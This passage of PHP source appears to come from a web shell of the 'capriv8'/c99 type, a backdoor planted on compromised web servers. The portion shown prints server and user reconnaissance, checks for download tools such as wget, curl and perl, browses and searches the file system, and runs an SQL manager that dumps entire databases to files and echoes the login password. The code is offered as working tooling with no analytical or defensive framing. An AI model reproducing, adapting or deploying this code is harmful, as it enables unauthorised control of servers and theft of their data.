985 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
986
987 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
988
989 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
990
991 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
992
993 else {$type = "?";}
994
995 $owner["read"] = ($mode & 00400)?"r":"-";
996
997 $owner["write"] = ($mode & 00200)?"w":"-";
998
999 $owner["execute"] = ($mode & 00100)?"x":"-";
1000
1001 $group["read"] = ($mode & 00040)?"r":"-";
1002
1003 $group["write"] = ($mode & 00020)?"w":"-";
1004
1005 $group["execute"] = ($mode & 00010)?"x":"-";
1006
1007 $world["read"] = ($mode & 00004)?"r":"-";
1008
1009 $world["write"] = ($mode & 00002)? "w":"-";
1010
1011 $world["execute"] = ($mode & 00001)?"x":"-";
1012
1013 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
1014
1015 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
1016
1017 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
1018
1019 return $type.join("",$owner).join("",$group).join("",$world);
1020
1021 }
1022
1023 }
1024
1025 if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
1026
1027 if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
1028
1029 if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
1030
1031 if (!function_exists("parse_perms")) {
1032
1033 function parse_perms($mode) {
1034
1035 if (($mode & 0xC000) === 0xC000) {$t = "s";}
1036
1037 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
1038
1039 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
1040
1041 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
1042
1043 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
1044
1045 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
1046
1047 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
1048
1049 else {$t = "?";}
1050
1051 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
1052
1053 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
1054
1055 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
1056
1057 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
1058
1059 }
1060
1061 }
1062
1063 if (!function_exists("parsesort")) {
1064
1065 function parsesort($sort) {
1066
1067 $one = intval($sort);
1068
1069 $second = substr($sort,-1);
1070
1071 if ($second != "d") {$second = "a";}
1072
1073 return array($one,$second);
1074
1075 }
1076
1077 }
1078
1079 if (!function_exists("view_perms_color")) {
1080
1081 function view_perms_color($o) {
1082
1083 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
1084
1085 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
1086
1087 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
1088
1089 }
1090
1091 }
1092
1093 if (!function_exists("mysql_dump")) {
1094
1095 function mysql_dump($set) {
1096
1097 global $sh_ver;
1098
1099 $sock = $set["sock"];
1100
1101 $db = $set["db"];
1102
1103 $print = $set["print"];
1104
1105 $nl2br = $set["nl2br"];
1106
1107 $file = $set["file"];
1108
1109 $add_drop = $set["add_drop"];
1110
1111 $tabs = $set["tabs"];
1112
1113 $onlytabs = $set["onlytabs"];
1114
1115 $ret = array();
1116
1117 $ret["err"] = array();
1118
1119 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
1120
1121 if (empty($db)) {$db = "db";}
1122
1123 if (empty($print)) {$print = 0;}
1124
1125 if (empty($nl2br)) {$nl2br = 0;}
1126
1127 if (empty($add_drop)) {$add_drop = TRUE;}
1128
1129 if (empty($file)) {
1130
1131 $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
1132
1133 }
1134
1135 if (!is_array($tabs)) {$tabs = array();}
1136
1137 if (empty($add_drop)) {$add_drop = TRUE;}
1138
1139 if (sizeof($tabs) == 0) {
1140
1141 $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
1142
1143 if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
1144
1145 }
1146
1147 $out = "
1148
1149 # Dumped by ".$sh_name."
1150
1151 #
1152
1153 # Host settings:
1154
1155 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
1156
1157 # Date: ".date("d.m.Y H:i:s")."
1158
1159 # DB: \"".$db."\"
1160
1161 #---------------------------------------------------------";
1162
1163 $c = count($onlytabs);
1164
1165 foreach($tabs as $tab) {
1166
1167 if ((in_array($tab,$onlytabs)) or (!$c)) {
1168
1169 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
1170
1171 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
1172
1173 if (!$res) {$ret["err"][] = mysql_smarterror();}
1174
1175 else {
1176
1177 $row = mysql_fetch_row($res);
1178
1179 $out .= $row["1"].";\n\n";
1180
1181 $res = mysql_query("SELECT * FROM `$tab`", $sock);
1182
1183 if (mysql_num_rows($res) > 0) {
1184
1185 while ($row = mysql_fetch_assoc($res)) {
1186
1187 $keys = implode("`, `", array_keys($row));
1188
1189 $values = array_values($row);
1190
1191 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
1192
1193 $values = implode("', '", $values);
1194
1195 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
1196
1197 $out .= $sql;
1198
1199 }
1200
1201 }
1202
1203 }
1204
1205 }
1206
1207 }
1208
1209 $out .= "#---------------------------------------------------------------------------------\n\n";
1210
1211 if ($file) {
1212
1213 $fp = fopen($file, "w");
1214
1215 if (!$fp) {$ret["err"][] = 2;}
1216
1217 else {
1218
1219 fwrite ($fp, $out);
1220
1221 fclose ($fp);
1222
1223 }
1224
1225 }
1226
1227 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
1228
1229 return $out;
1230
1231 }
1232
1233 }
1234
1235 if (!function_exists("mysql_buildwhere")) {
1236
1237 function mysql_buildwhere($array,$sep=" and",$functs=array()) {
1238
1239 if (!is_array($array)) {$array = array();}
1240
1241 $result = "";
1242
1243 foreach($array as $k=>$v) {
1244
1245 $value = "";
1246
1247 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
1248
1249 $value .= "'".addslashes($v)."'";
1250
1251 if (!empty($functs[$k])) {$value .= ")";}
1252
1253 $result .= "`".$k."` = ".$value.$sep;
1254
1255 }
1256
1257 $result = substr($result,0,strlen($result)-strlen($sep));
1258
1259 return $result;
1260
1261 }
1262
1263 }
1264
1265 if (!function_exists("mysql_fetch_all")) {
1266
1267 function mysql_fetch_all($query,$sock) {
1268
1269 if ($sock) {$result = mysql_query($query,$sock);}
1270
1271 else {$result = mysql_query($query);}
1272
1273 $array = array();
1274
1275 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
1276
1277 mysql_free_result($result);
1278
1279 return $array;
1280
1281 }
1282
1283 }
1284
1285 if (!function_exists("mysql_smarterror")) {
1286
1287 function mysql_smarterror($type,$sock) {
1288
1289 if ($sock) {$error = mysql_error($sock);}
1290
1291 else {$error = mysql_error();}
1292
1293 $error = htmlspecialchars($error);
1294
1295 return $error;
1296
1297 }
1298
1299 }
1300
1301 if (!function_exists("mysql_query_form")) {
1302
1303 function mysql_query_form() {
1304
1305 global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
1306
1307 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1308
1309 if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
1310
1311 if ((!$submit) or ($sql_x)) {
1312
1313 echo "<table border=0><tr><td><form name=\"capriv8_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
1314
1315 if ($tbl_struct) {
1316
1317 echo "<td valign=\"top\"><b>Fields:</b><br>";
1318
1319 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.capriv8_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
1320
1321 echo "</td></tr></table>";
1322
1323 }
1324
1325 }
1326
1327 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
1328
1329 }
1330
1331 }
1332
1333 if (!function_exists("mysql_create_db")) {
1334
1335 function mysql_create_db($db,$sock="") {
1336
1337 $sql = "CREATE DATABASE `".addslashes($db)."`;";
1338
1339 if ($sock) {return mysql_query($sql,$sock);}
1340
1341 else {return mysql_query($sql);}
1342
1343 }
1344
1345 }
1346
1347 if (!function_exists("mysql_query_parse")) {
1348
1349 function mysql_query_parse($query) {
1350
1351 $query = trim($query);
1352
1353 $arr = explode (" ",$query);
1354
1355 $types = array(
1356
1357 "SELECT"=>array(3,1),
1358
1359 "SHOW"=>array(2,1),
1360
1361 "DELETE"=>array(1),
1362
1363 "DROP"=>array(1)
1364
1365 );
1366
1367 $result = array();
1368
1369 $op = strtoupper($arr[0]);
1370
1371 if (is_array($types[$op])) {
1372
1373 $result["propertions"] = $types[$op];
1374
1375 $result["query"] = $query;
1376
1377 if ($types[$op] == 2) {
1378
1379 foreach($arr as $k=>$v) {
1380
1381 if (strtoupper($v) == "LIMIT") {
1382
1383 $result["limit"] = $arr[$k+1];
1384
1385 $result["limit"] = explode(",",$result["limit"]);
1386
1387 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
1388
1389 unset($arr[$k],$arr[$k+1]);
1390
1391 }
1392
1393 }
1394
1395 }
1396
1397 }
1398
1399 else {return FALSE;}
1400
1401 }
1402
1403 }
1404
1405 if (!function_exists("cafsearch")) {
1406
1407 function cafsearch($d) {
1408
1409 global $found;
1410
1411 global $found_d;
1412
1413 global $found_f;
1414
1415 global $search_i_f;
1416
1417 global $search_i_d;
1418
1419 global $a;
1420
1421 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
1422
1423 $h = opendir($d);
1424
1425 while (($f = readdir($h)) !== FALSE) {
1426
1427 if($f != "." && $f != "..") {
1428
1429 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
1430
1431 if (is_dir($d.$f)) {
1432
1433 $search_i_d++;
1434
1435 if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
1436
1437 if (!is_link($d.$f)) {cafsearch($d.$f);}
1438
1439 }
1440
1441 else {
1442
1443 $search_i_f++;
1444
1445 if ($bool) {
1446
1447 if (!empty($a["text"])) {
1448
1449 $r = @file_get_contents($d.$f);
1450
1451 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
1452
1453 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
1454
1455 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
1456
1457 else {$bool = strpos(" ".$r,$a["text"],1);}
1458
1459 if ($a["text_not"]) {$bool = !$bool;}
1460
1461 if ($bool) {$found[] = $d.$f; $found_f++;}
1462
1463 }
1464
1465 else {$found[] = $d.$f; $found_f++;}
1466
1467 }
1468
1469 }
1470
1471 }
1472
1473 }
1474
1475 closedir($h);
1476
1477 }
1478
1479 }
1480
1481 if ($x == "gofile") {
1482
1483 if (is_dir($f)) { $x = "ls"; $d = $f; }
1484
1485 else { $x = "f"; $d = dirname($f); $f = basename($f); }
1486
1487 }
1488
1489 @ob_start();
1490
1491 @ob_implicit_flush(0);
1492
1493 function onphpshutdown() {
1494
1495 global $gzipencode,$ft;
1496
1497 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
1498
1499 $v = @ob_get_contents();
1500
1501 @ob_end_clean();
1502
1503 @ob_start("ob_gzHandler");
1504
1505 echo $v;
1506
1507 @ob_end_flush();
1508
1509 }
1510
1511 }
1512
1513 function capriv8exit() {
1514
1515 onphpshutdown();
1516
1517 exit;
1518
1519 }
1520
1521 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
1522
1523 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
1524
1525 header("Cache-Control: no-store, no-cache, must-revalidate");
1526
1527 header("Cache-Control: post-check=0, pre-check=0", FALSE);
1528
1529 header("Pragma: no-cache");
1530
1531 if (empty($tmpdir)) {
1532
1533 $tmpdir = ini_get("upload_tmp_dir");
1534
1535 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
1536
1537 }
1538
1539 $tmpdir = realpath($tmpdir);
1540
1541 $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
1542
1543 if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
1544
1545 if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
1546
1547 else {$tmpdir_logs = realpath($tmpdir_logs);}
1548
1549 function showstat($stat) {
1550
1551 if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
1552
1553 else { return "<font color=red><b>OFF</b></font>"; }
1554
1555 }
1556
1557 function testperl() {
1558
1559 if (ex('perl -h')) { return showstat("on"); }
1560
1561 else { return showstat("off"); }
1562
1563 }
1564
1565 function testfetch() {
1566
1567 if(ex('fetch --help')) { return showstat("on"); }
1568
1569 else { return showstat("off"); }
1570
1571 }
1572
1573 function testwget() {
1574
1575 if (ex('wget --help')) { return showstat("on"); }
1576
1577 else { return showstat("off"); }
1578
1579 }
1580
1581 function testoracle() {
1582
1583 if (function_exists('ocilogon')) { return showstat("on"); }
1584
1585 else { return showstat("off"); }
1586
1587 }
1588
1589 function testpostgresql() {
1590
1591 if (function_exists('pg_connect')) { return showstat("on"); }
1592
1593 else { return showstat("off"); }
1594
1595 }
1596
1597 function testmssql() {
1598
1599 if (function_exists('mssql_connect')) { return showstat("on"); }
1600
1601 else { return showstat("off"); }
1602
1603 }
1604
1605 function testcurl() {
1606
1607 if (function_exists('curl_version')) { return showstat("on"); }
1608
1609 else { return showstat("off"); }
1610
1611 }
1612
1613 function testmysql() {
1614
1615 if (function_exists('mysql_connect')) { return showstat("on"); }
1616
1617 else { return showstat("off"); }
1618
1619 }
1620
1621 function showdisablefunctions() {
1622
1623 if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
1624
1625 else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
1626
1627 }
1628
1629 if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
1630
1631 $safemode = TRUE;
1632
1633 $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
1634
1635 }
1636
1637 else {
1638
1639 $safemode = FALSE;
1640
1641 $hsafemode = "<font color=red><b>SAFE MODE is OFF (Not Secure)</b></font>";
1642
1643 }
1644
1645 $v = @ini_get("open_basedir");
1646
1647 if ($v or strtolower($v) == "on") {
1648
1649 $openbasedir = TRUE;
1650
1651 $hopenbasedir = "<font color=red>".$v."</font>";
1652
1653 }
1654
1655 else {
1656
1657 $openbasedir = FALSE;
1658
1659 $hopenbasedir = "<font color=green>OFF (not secure)</font>";
1660
1661 }
1662
1663 $sort = htmlspecialchars($sort);
1664
1665 if (empty($sort)) {$sort = $sort_default;}
1666
1667 $sort[1] = strtolower($sort[1]);
1668
1669 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
1670
1671 if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
1672
1673 $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."x=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
1674
1675 @ini_set("highlight.bg",$highlight_bg);
1676
1677 @ini_set("highlight.comment",$highlight_comment);
1678
1679 @ini_set("highlight.default",$highlight_default);
1680
1681 @ini_set("highlight.html",$highlight_html);
1682
1683 @ini_set("highlight.keyword",$highlight_keyword);
1684
1685 @ini_set("highlight.string",$highlight_string);
1686
1687 if (!is_array($actbox)) { $actbox = array(); }
1688
1689 $dspact = $x = htmlspecialchars($x);
1690
1691 $disp_fullpath = $ls_arr = $notls = null;
1692
1693 $ud = urlencode($d);
1694
1695 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
1696
1697 if (empty($d)) {$d = realpath(".");}
1698
1699 elseif(realpath($d)) {$d = realpath($d);}
1700
1701 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
1702
1703 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
1704
1705 $d = str_replace("\\\\","\\",$d);
1706
1707 $dispd = htmlspecialchars($d);
1708
1709echo $html_start;
1710
1711echo "<div class=barheader2><h3>$sh_name</h3><font color=lime> </font></div><hr color=green>\n";
1712
1713echo "<table id=pagebar><tr><td width=50%><p>".
1714
1715 "Software : ".$DISP_SERVER_SOFTWARE ." - <a href=".$surl."x=phpini>php.ini</a><br>".
1716
1717 "$hsafemode<br>".
1718
1719 "OS : ".php_uname()."<br>";
1720
1721if (!$win) { echo "User ID : ".myshellexec("id"); }
1722
1723else { echo "User : " . get_current_user(); }
1724
1725echo "</p></td>".
1726
1727 "<td width=50%><p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
1728
1729 "Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";
1730
1731if($win){echo "Drives : ".disp_drives($d,$surl)."<br>";}
1732
1733echo "Freespace : ".disp_freespace($d);
1734
1735echo "</p></td></tr>";
1736
1737echo "<tr><td colspan=2><p>";
1738
1739echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().
1740
1741 " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
1742
1743echo "Disabled Functions: ".showdisablefunctions();
1744
1745echo "</p></td></tr>";
1746
1747echo "<tr><td colspan=2 id=mainmenu>";
1748
1749if (count($quicklaunch2) > 0) {
1750
1751 foreach($quicklaunch2 as $item) {
1752
1753 $item[1] = str_replace("%d",urlencode($d),$item[1]);
1754
1755 $item[1] = str_replace("%sort",$sort,$item[1]);
1756
1757 $v = realpath($d."..");
1758
1759 if (empty($v)) {
1760
1761 $a = explode(DIRECTORY_SEPARATOR,$d);
1762
1763 unset($a[count($a)-2]);
1764
1765 $v = join(DIRECTORY_SEPARATOR,$a);
1766
1767 }
1768
1769 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
1770
1771 echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
1772
1773 }
1774
1775}
1776
1777echo "</td><tr><td colspan=2 id=mainmenu>";
1778
1779if (count($quicklaunch1) > 0) {
1780
1781 foreach($quicklaunch1 as $item) {
1782
1783 $item[1] = str_replace("%d",urlencode($d),$item[1]);
1784
1785 $item[1] = str_replace("%sort",$sort,$item[1]);
1786
1787 $v = realpath($d."..");
1788
1789 if (empty($v)) {
1790
1791 $a = explode(DIRECTORY_SEPARATOR,$d);
1792
1793 unset($a[count($a)-2]);
1794
1795 $v = join(DIRECTORY_SEPARATOR,$a);
1796
1797 }
1798
1799 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
1800
1801 echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
1802
1803 }
1804
1805}
1806
1807echo "</td><tr><td colspan=2 id=mainmenu>";
1808
1809if (count($quicklaunch3) > 0) {
1810
1811 foreach($quicklaunch3 as $item) {
1812
1813 $item[1] = str_replace("%d",urlencode($d),$item[1]);
1814
1815 $item[1] = str_replace("%sort",$sort,$item[1]);
1816
1817 $v = realpath($d."..");
1818
1819 if (empty($v)) {
1820
1821 $a = explode(DIRECTORY_SEPARATOR,$d);
1822
1823 unset($a[count($a)-2]);
1824
1825 $v = join(DIRECTORY_SEPARATOR,$a);
1826
1827 }
1828
1829 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
1830
1831 echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
1832
1833 }
1834
1835}
1836
1837
1838
1839
1840echo "</td></tr><tr><td colspan=2>";
1841
1842echo "<p class=fleft>";
1843
1844$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
1845
1846$i = 0;
1847
1848foreach($pd as $b) {
1849
1850 $t = ""; $j = 0;
1851
1852 foreach ($e as $r) {
1853
1854 $t.= $r.DIRECTORY_SEPARATOR;
1855
1856 if ($j == $i) { break; }
1857
1858 $j++;
1859
1860 }
1861
1862 echo "<a href=\"".$surl."x=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=#6666FF>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
1863
1864 $i++;
1865
1866}
1867
1868echo " - ";
1869
1870if (is_writable($d)) {
1871
1872 $wd = TRUE;
1873
1874 $wdt = "<font color=#00FF00>[OK]</font>";
1875
1876 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
1877
1878$pg = basename(__FILE__);
1879}
1880
1881else {
1882
1883 $wd = FALSE;
1884
1885 $wdt = "<font color=red>[Read-Only]</font>";
1886
1887 echo "<b>".view_perms_color($d)."</b>";
1888
1889}
1890
1891?>
1892
1893</p>
1894
1895<div class=fright>
1896
1897<form method="POST"><input type=hidden name=act value="ls">
1898
1899Directory: <input type="text" name="d" size="50" value="<? echo $dispd; ?> "> <input type=submit value="Go">
1900
1901</form>
1902
1903</div>
1904
1905</td></tr></table>
1906
1907<?
1908
1909echo "<table id=maininfo><tr><td width=\"100%\">\n";
1910
1911if ($x == "") { $x = $dspact = "ls"; }
1912
1913if ($x == "phpini" ) { get_phpini(); }
1914
1915if ($x == "sql") {
1916
1917 $sql_surl = $surl."x=sql";
1918
1919 if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
1920
1921 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
1922
1923 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
1924
1925 if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
1926
1927 if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
1928
1929 $sql_surl .= "&";
1930
1931 echo "<table>".
1932
1933 "<tr><td width=\"100%\" colspan=2 class=barheader>";
1934
1935 if ($sql_server) {
1936
1937 $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
1938
1939 $err = mysql_smarterror();
1940
1941 @mysql_select_db($sql_db,$sql_sock);
1942
1943 if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
1944
1945 }
1946
1947 else {$sql_sock = FALSE;}
1948
1949 echo ".: SQL Manager :.<br>";
1950
1951 if (!$sql_sock) {
1952
1953 if (!$sql_server) {echo "NO CONNECTION";}
1954
1955 else {echo "Can't connect! ".$err;}
1956
1957 }
1958
1959 else {
1960
1961 $sqlquicklaunch = array();
1962
1963 $sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
1964
1965 $sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
1966
1967 $sqlquicklaunch[] = array("Server-status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
1968
1969 $sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
1970
1971 $sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
1972
1973 $sqlquicklaunch[] = array("Logout",$surl."x=sql");
1974
1975 echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
1976
1977 if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
1978
1979 }
1980
1981 echo "</td></tr><tr>";
1982
1983 if (!$sql_sock) {
1984
1985 echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
1986
1987 echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"x\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
1988
1989 }
1990
1991 else {
1992
1993 if (!empty($sql_db)) {
1994
1995 ?><td width="25%" height="100%" valign="top"><a href="<? echo $surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
1996
1997 <?
1998
1999 $result = mysql_list_tables($sql_db);
2000
2001 if (!$result) {echo mysql_smarterror();}
2002
2003 else {
2004
2005 echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
2006
2007 $c = 0;
2008
2009 while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
2010
2011 if (!$c) {echo "No tables found in database.";}
2012
2013 }
2014
2015 }
2016
2017 else {
2018
2019 ?><td width="1" height="100" valign="top"><a href="<? echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
2020
2021 <?
2022
2023 $result = mysql_list_dbs($sql_sock);
2024
2025 if (!$result) {echo mysql_smarterror();}
2026
2027 else {
2028
2029 ?><form action="<? echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_login" value="<? echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<? echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<? echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<? echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
2030
2031 <?
2032
2033 $c = 0;
2034
2035 $dbs = "";
2036
2037 while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
2038
2039 echo "<option value=\"\">Databases (".$c.")</option>";
2040
2041 echo $dbs;
2042
2043 }
2044
2045 ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
2046
2047 <?
2048
2049 }
2050
2051 echo "</td><td width=\"100%\">";
2052
2053 $diplay = TRUE;
2054
2055 if ($sql_db) {
2056
